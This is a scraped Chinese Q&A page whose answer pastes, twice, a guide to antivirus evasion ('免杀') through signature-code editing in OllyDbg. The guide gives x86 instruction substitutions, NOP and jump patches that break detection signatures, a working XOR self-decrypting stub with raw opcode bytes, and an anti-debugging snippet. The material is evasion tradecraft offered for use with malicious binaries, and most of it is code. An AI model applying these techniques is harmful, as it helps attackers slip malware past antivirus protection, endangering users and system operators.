一个特征码的问题
答案:1 悬赏:80 手机版
解决时间 2021-01-16 01:06
- 提问者网友:绫月
- 2021-01-15 02:47
一个特征码的问题
最佳答案
- 五星知识达人网友:山河有幸埋战骨
- 2021-01-15 03:58
好复杂!不知道!下面是我在网上找到的和C32有关系的!希望帮助你点!
这个不是C32,而是OD,这种改法是有一定的局限性的,改时一定要根据上下文理性地去改,要不然运气很重要。
A开头
============================================================================
add 改adc
ADD 改ADC
ADD 1 改 sub -1
add dword ptr ss:[ebp-130],edx ---------adc dword ptr ss:[ebp-130],edx
ADD [EAX],CH----------------------------ADD [EAX],DH
ADD [EAX],BH 0038 ----------------------ADD [EAX+40],AL 0040 40
ADD [EAX+EAX*2+46],AL ------------------ADD [EAX+EAX*2+46],CL
ADD [EAX+40],DL 0050 40 ----------------0058 40 ADD [EAX+40],DL
ADD AH,CH 00EC -------------------------00F4 ADD AH,DH
add dword ptr ss:[ebp-130],edx -------- adc dword ptr ss:[ebp-130],edx
C开头
============================================================================
CMP 改SUB
call 复件_(4).004CF607 ----------------- push 复件_(4).004CF607
CMP DWORD PTR DS:[100170A4],0 -------------sub DWORD PTR DS:[100170A4],0
CALL ---------看到了CALL跟随进去看NOP就可以把CALL的地址该成NOP
方法2--看下附近有没有MOV修该成NOP看下可以免杀不。可以的话该XOR
方法3--看附近jnz跳转该下跳转的地址/可免杀不/
CALL EAX |CALL EBX
比效指令 CMP:看下是个比效指令 在看下JNZ条件转移指令
就是说CMP比效正确就跳那我们可以把CMP用NOP掉在把JNZ该成JMP
不进行CMP比效
CMP ESI,1
JNZ SHORT VVV.1000D793
============================================================================
D开头
============================================================================
DAA 组合的十进制加法调整指令 --------DAS 减法的十进制调整.
===========================================================================
J开头
===========================================================================
JE 改 JNB
JNZ 改 JNL
jnz 改 JB
JE 改 JNA
je 改 jb
jnz 改 jg
js 改 jp
je 改 jle
jnz 改 jle
je 改 jge
JE 改 jnz
JE 改 JB
JNS 改 POP ECX
JNS 改 jnc-jnb
JNB 改 JGE
jnb short fsg2_0.0040015D----------------ja short fsg2_0.0040015D
JMP NEAR [1071c]---------------------JMP NEAR [1071B]
jnz--je-jmp修改中要看下跳的地址是不是很重要说明[1]
JNZ 00874E85--MOV EAX,88B6D0 可以是该成JE 00874E85--MOV EAX,88B6D0
===========================================================================
L开头
===========================================================================
LEA EBP,[ESP+10] 改 LEA EBP,[ESP+10]
==========================================================================
M开头
===========================================================================
MOVSX 改 MOVZX
MOV EBP,ESP 改 AND AH,CH
MOV [EBP-18],ESP 改 MOV [EBP-18],AH
MOV EAX,[ESP+10] 改 MOV EAX,[ESP+10]
MOV [ESP+10],EBP 改 MOV [ESP+10],EBP
mov [ebp-256], eax 改 adc [ebp-226], eax
MOV EDI,[EBP+10] 改 MOV EDI,[EBP+11]
MOV EBX,DWORD PTR DS:[ESI] 改 XOR EBX,DWORD PTR DS:[ESI]
MOV EBP,ESP--------AND AH,CH
MOV EBX,DWORD PTR DS:[ESI]---------XOR EBX,DWORD PTR DS:[ESI]
==========================================================================
===========================================================================
P开头
===========================================================================
push 改call
PUSH EBX PUSH EDI
PUSH ESI PUSH EAX
PUSH EDI PUSH ESI
PUSH EAX PUSH EBX
===========================================================================
S开头
===========================================================================
sbb 改adc
sub 改mov
SHL 改 SAL
SAR 改 SHR
sub ebp,7---------- add ebp,-7
sub ebx,eax----------sbb esi,ecx
SBB ECX,DWORD PTR DS:[ESI+2]----------ADC ECX,DWORD PTR DS:[ESI+2]
PUSH EAX 改 PUSH EBX
SUB ESP,EAX 改 SUB ESP,EAX
PUSH EBX 改 PUSH EDI
PUSH ESI 改 PUSH EAX
PUSH EDI 改 PUSH ESI
sub ebx,eax----------sbb esi,ecx
==========================================================================
T开头
===========================================================================
TEST ESI,ESI-------改------- AND ESI,ESI
===========================================================================
X开头
===========================================================================
xor 改sub
XOR [EAX],AL-------改--------MOV [EAX],AL
XOR EAX,EAX-----改-------OR EAX,EAX
===========================================================================
其他
--------------------------------------------------
修改jd改为JG还可以看下JB一般都是2个字节,2进制看下
ascll吗,基本上还可以修改大小的,还有的是看下跳转
jb-------------jg
-----------------------------------------------
CALL ---------看到了CALL跟随进去看NOP就可以把CALL的地址该成NOP
方法2--看下附近有没有MOV修该成NOP看下可以免杀不。可以的话该XOR
方法3--看附近jnz跳转该下跳转的地址/可免杀不/
JNZ 00874E85---PUSH DWORD PTR DS:[88F658]
PUSH下面MOV ECX,88C0AC就可以JNZ该到MOV连接
------------------------------------------------------------
-----------------------------------------------------------
005E 01 ADD BYTE PTR DS:[ESI+1],BL 修改方法
006E 01 ADD BYTE PTR DS:[ESI+1],CH 这样的成功机会不大看运气
------------------------------------------------------------
修改这样的命令要看下 1071C的地址,有没有,可以修改的
本身怎个命令是不可以修改的
JMP DWORD PTR DS:[1071C]----DS:[1071b]
还可以看下上下有没有空的代码来换下位置
------------------------------------------------------------
看下面的命令 观察上下的指令来修改|
CALL EAX |CALL EBX
MOV DWORD PTR SS:[EBP-1C],EAX |MOV DWORD PTR SS:[EBP-1C],EBX
---------------------------------------------------------------
比效指令 CMP:看下是个比效指令 在看下JNZ条件转移指令
就是说CMP比效正确就跳那我们可以把CMP用NOP掉在把JNZ该成JMP
不进行CMP比效
CMP ESI,1
JNZ SHORT VVV.1000D793
---------------------------------------------------------------
看下MOV数据传送指令 很明白就是将ESI给ESP+14
那看下JE跳下去的指令XOR AL,AL没有用可以NOP掉
MOV [ESP+14],ESI
JE 1000A74B 跳转去下个指令XOR AL,AL
修改成
MOV ESP,ESI
ADD ESP,14
----------------------------------------------------------------
LEA有效地址传送指令,遇到这样的指令不要该他可能会不能运行
LEA ECX,[ESP+10]
修改思路可以看下,上面的指令,如下
MOV EAX,DWORD PTR DS:[EBX]
CMP EAX,-1
JE 100017E9 到达的就是LEA ECX,[ESP+10]
上面可以看出是一系列的比对指令,最后LEA地址传
可以把MOV CMP JE 三个比对NOP掉在把LEA写到MOV CMP JE地址上,在用
JMP跳到下个指令运行
----------------------------------------------------------------
修改大小写在汇编里的变化
------------------------------------------------------------
INS BYTE PTR ES:[EDI],DX 小------------------DEC ESP大
PREFIX ADDRSIZE: 小 ----------------INC EDI 大
这只是特征码改,免杀不会很久,得加工一下,给几个反调试,加密代码,自己灵活运用,灵活灵活灵活.....
加密代码
pushad
mov bx,sys.起始地址
mov ecx ,大小 十六进制/4
xor byte ptr ds:[ebx],乱写
inc ebx
loopd short sys.33那一句的地址
popad
-------------------------------------------------------
004C2043 > 60 pushad
004C2044 E8 00000000 call hacksky.004C2049 下一句地址
004C2049 58 pop eax
004C204A 2D 49204C00 sub eax,hacksky.004C2049 上一句地址 ; ASCII "X-I L"
004C204F 50 push eax
004C2050 B9 F70A0000 mov ecx,0AF7 ---加密大小 (字节处以4) ; 大小有问题
004C2055 BB 00304A00 mov ebx,hacksky.004A3000 加密其实位置
004C205A 031C24 add ebx,dword ptr ss:[esp]
004C205D 8B03 mov eax,dword ptr ds:[ebx] ; 密钥随便
004C205F 35 11110000 xor eax,1111 ---密钥随便换
004C2064 8903 mov dword ptr ds:[ebx],eax
004C2066 83C3 04 add ebx,4
004C2069 ^ E2 F2 loopd short hacksky.004C205D 跳到密钥
004C206B 58 pop eax
004C206C 61 popad
004C206D ^ EB 9A jmp short hacksky.004C2009 跳到入口点
60 E8 00 00 00 00 58 2D 49 20 4C 00 50 B9 F7 0A 00 00 BB 00 30 4A 00 03 1C 24 8B 03 35 11 11 00
00 89 03 83 C3 04 E2 F2 58 61 EB 9A
------------------------
反调试
8D 6C 01 00 8B 45 90 0F 84 00 00 00 00 85 C0 0F 84 E0 A7 4C 00
lea ebp,dword ptr ds:[ecx+eax]
mov eax,dword ptr ss:[ebp-70]
je sys.下一句的地址
test eax,eax
je 12212121 可以乱写
call 尽量不要jmp 也就是跑回原入口点
这个不是C32,而是OD,这种改法是有一定的局限性的,改时一定要根据上下文理性地去改,要不然运气很重要。
A开头
============================================================================
add 改adc
ADD 改ADC
ADD 1 改 sub -1
add dword ptr ss:[ebp-130],edx ---------adc dword ptr ss:[ebp-130],edx
ADD [EAX],CH----------------------------ADD [EAX],DH
ADD [EAX],BH 0038 ----------------------ADD [EAX+40],AL 0040 40
ADD [EAX+EAX*2+46],AL ------------------ADD [EAX+EAX*2+46],CL
ADD [EAX+40],DL 0050 40 ----------------0058 40 ADD [EAX+40],DL
ADD AH,CH 00EC -------------------------00F4 ADD AH,DH
add dword ptr ss:[ebp-130],edx -------- adc dword ptr ss:[ebp-130],edx
C开头
============================================================================
CMP 改SUB
call 复件_(4).004CF607 ----------------- push 复件_(4).004CF607
CMP DWORD PTR DS:[100170A4],0 -------------sub DWORD PTR DS:[100170A4],0
CALL ---------看到了CALL跟随进去看NOP就可以把CALL的地址该成NOP
方法2--看下附近有没有MOV修该成NOP看下可以免杀不。可以的话该XOR
方法3--看附近jnz跳转该下跳转的地址/可免杀不/
CALL EAX |CALL EBX
比效指令 CMP:看下是个比效指令 在看下JNZ条件转移指令
就是说CMP比效正确就跳那我们可以把CMP用NOP掉在把JNZ该成JMP
不进行CMP比效
CMP ESI,1
JNZ SHORT VVV.1000D793
============================================================================
D开头
============================================================================
DAA 组合的十进制加法调整指令 --------DAS 减法的十进制调整.
===========================================================================
J开头
===========================================================================
JE 改 JNB
JNZ 改 JNL
jnz 改 JB
JE 改 JNA
je 改 jb
jnz 改 jg
js 改 jp
je 改 jle
jnz 改 jle
je 改 jge
JE 改 jnz
JE 改 JB
JNS 改 POP ECX
JNS 改 jnc-jnb
JNB 改 JGE
jnb short fsg2_0.0040015D----------------ja short fsg2_0.0040015D
JMP NEAR [1071c]---------------------JMP NEAR [1071B]
jnz--je-jmp修改中要看下跳的地址是不是很重要说明[1]
JNZ 00874E85--MOV EAX,88B6D0 可以是该成JE 00874E85--MOV EAX,88B6D0
===========================================================================
L开头
===========================================================================
LEA EBP,[ESP+10] 改 LEA EBP,[ESP+10]
==========================================================================
M开头
===========================================================================
MOVSX 改 MOVZX
MOV EBP,ESP 改 AND AH,CH
MOV [EBP-18],ESP 改 MOV [EBP-18],AH
MOV EAX,[ESP+10] 改 MOV EAX,[ESP+10]
MOV [ESP+10],EBP 改 MOV [ESP+10],EBP
mov [ebp-256], eax 改 adc [ebp-226], eax
MOV EDI,[EBP+10] 改 MOV EDI,[EBP+11]
MOV EBX,DWORD PTR DS:[ESI] 改 XOR EBX,DWORD PTR DS:[ESI]
MOV EBP,ESP--------AND AH,CH
MOV EBX,DWORD PTR DS:[ESI]---------XOR EBX,DWORD PTR DS:[ESI]
==========================================================================
===========================================================================
P开头
===========================================================================
push 改call
PUSH EBX PUSH EDI
PUSH ESI PUSH EAX
PUSH EDI PUSH ESI
PUSH EAX PUSH EBX
===========================================================================
S开头
===========================================================================
sbb 改adc
sub 改mov
SHL 改 SAL
SAR 改 SHR
sub ebp,7---------- add ebp,-7
sub ebx,eax----------sbb esi,ecx
SBB ECX,DWORD PTR DS:[ESI+2]----------ADC ECX,DWORD PTR DS:[ESI+2]
PUSH EAX 改 PUSH EBX
SUB ESP,EAX 改 SUB ESP,EAX
PUSH EBX 改 PUSH EDI
PUSH ESI 改 PUSH EAX
PUSH EDI 改 PUSH ESI
sub ebx,eax----------sbb esi,ecx
==========================================================================
T开头
===========================================================================
TEST ESI,ESI-------改------- AND ESI,ESI
===========================================================================
X开头
===========================================================================
xor 改sub
XOR [EAX],AL-------改--------MOV [EAX],AL
XOR EAX,EAX-----改-------OR EAX,EAX
===========================================================================
其他
--------------------------------------------------
修改jd改为JG还可以看下JB一般都是2个字节,2进制看下
ascll吗,基本上还可以修改大小的,还有的是看下跳转
jb-------------jg
-----------------------------------------------
CALL ---------看到了CALL跟随进去看NOP就可以把CALL的地址该成NOP
方法2--看下附近有没有MOV修该成NOP看下可以免杀不。可以的话该XOR
方法3--看附近jnz跳转该下跳转的地址/可免杀不/
JNZ 00874E85---PUSH DWORD PTR DS:[88F658]
PUSH下面MOV ECX,88C0AC就可以JNZ该到MOV连接
------------------------------------------------------------
-----------------------------------------------------------
005E 01 ADD BYTE PTR DS:[ESI+1],BL 修改方法
006E 01 ADD BYTE PTR DS:[ESI+1],CH 这样的成功机会不大看运气
------------------------------------------------------------
修改这样的命令要看下 1071C的地址,有没有,可以修改的
本身怎个命令是不可以修改的
JMP DWORD PTR DS:[1071C]----DS:[1071b]
还可以看下上下有没有空的代码来换下位置
------------------------------------------------------------
看下面的命令 观察上下的指令来修改|
CALL EAX |CALL EBX
MOV DWORD PTR SS:[EBP-1C],EAX |MOV DWORD PTR SS:[EBP-1C],EBX
---------------------------------------------------------------
比效指令 CMP:看下是个比效指令 在看下JNZ条件转移指令
就是说CMP比效正确就跳那我们可以把CMP用NOP掉在把JNZ该成JMP
不进行CMP比效
CMP ESI,1
JNZ SHORT VVV.1000D793
---------------------------------------------------------------
看下MOV数据传送指令 很明白就是将ESI给ESP+14
那看下JE跳下去的指令XOR AL,AL没有用可以NOP掉
MOV [ESP+14],ESI
JE 1000A74B 跳转去下个指令XOR AL,AL
修改成
MOV ESP,ESI
ADD ESP,14
----------------------------------------------------------------
LEA有效地址传送指令,遇到这样的指令不要该他可能会不能运行
LEA ECX,[ESP+10]
修改思路可以看下,上面的指令,如下
MOV EAX,DWORD PTR DS:[EBX]
CMP EAX,-1
JE 100017E9 到达的就是LEA ECX,[ESP+10]
上面可以看出是一系列的比对指令,最后LEA地址传
可以把MOV CMP JE 三个比对NOP掉在把LEA写到MOV CMP JE地址上,在用
JMP跳到下个指令运行
----------------------------------------------------------------
修改大小写在汇编里的变化
------------------------------------------------------------
INS BYTE PTR ES:[EDI],DX 小
PREFIX ADDRSIZE: 小
这只是特征码改,免杀不会很久,得加工一下,给几个反调试,加密代码,自己灵活运用,灵活灵活灵活.....
加密代码
pushad
mov bx,sys.起始地址
mov ecx ,大小 十六进制/4
xor byte ptr ds:[ebx],乱写
inc ebx
loopd short sys.33那一句的地址
popad
-------------------------------------------------------
004C2043 > 60 pushad
004C2044 E8 00000000 call hacksky.004C2049 下一句地址
004C2049 58 pop eax
004C204A 2D 49204C00 sub eax,hacksky.004C2049 上一句地址 ; ASCII "X-I L"
004C204F 50 push eax
004C2050 B9 F70A0000 mov ecx,0AF7 ---加密大小 (字节处以4) ; 大小有问题
004C2055 BB 00304A00 mov ebx,hacksky.004A3000 加密其实位置
004C205A 031C24 add ebx,dword ptr ss:[esp]
004C205D 8B03 mov eax,dword ptr ds:[ebx] ; 密钥随便
004C205F 35 11110000 xor eax,1111 ---密钥随便换
004C2064 8903 mov dword ptr ds:[ebx],eax
004C2066 83C3 04 add ebx,4
004C2069 ^ E2 F2 loopd short hacksky.004C205D 跳到密钥
004C206B 58 pop eax
004C206C 61 popad
004C206D ^ EB 9A jmp short hacksky.004C2009 跳到入口点
60 E8 00 00 00 00 58 2D 49 20 4C 00 50 B9 F7 0A 00 00 BB 00 30 4A 00 03 1C 24 8B 03 35 11 11 00
00 89 03 83 C3 04 E2 F2 58 61 EB 9A
------------------------
反调试
8D 6C 01 00 8B 45 90 0F 84 00 00 00 00 85 C0 0F 84 E0 A7 4C 00
lea ebp,dword ptr ds:[ecx+eax]
mov eax,dword ptr ss:[ebp-70]
je sys.下一句的地址
test eax,eax
je 12212121 可以乱写
call 尽量不要jmp 也就是跑回原入口点
我要举报
如以上问答信息为低俗、色情、不良、暴力、侵权、涉及违法等信息,可以点下面链接进行举报!
大家都在看
推荐资讯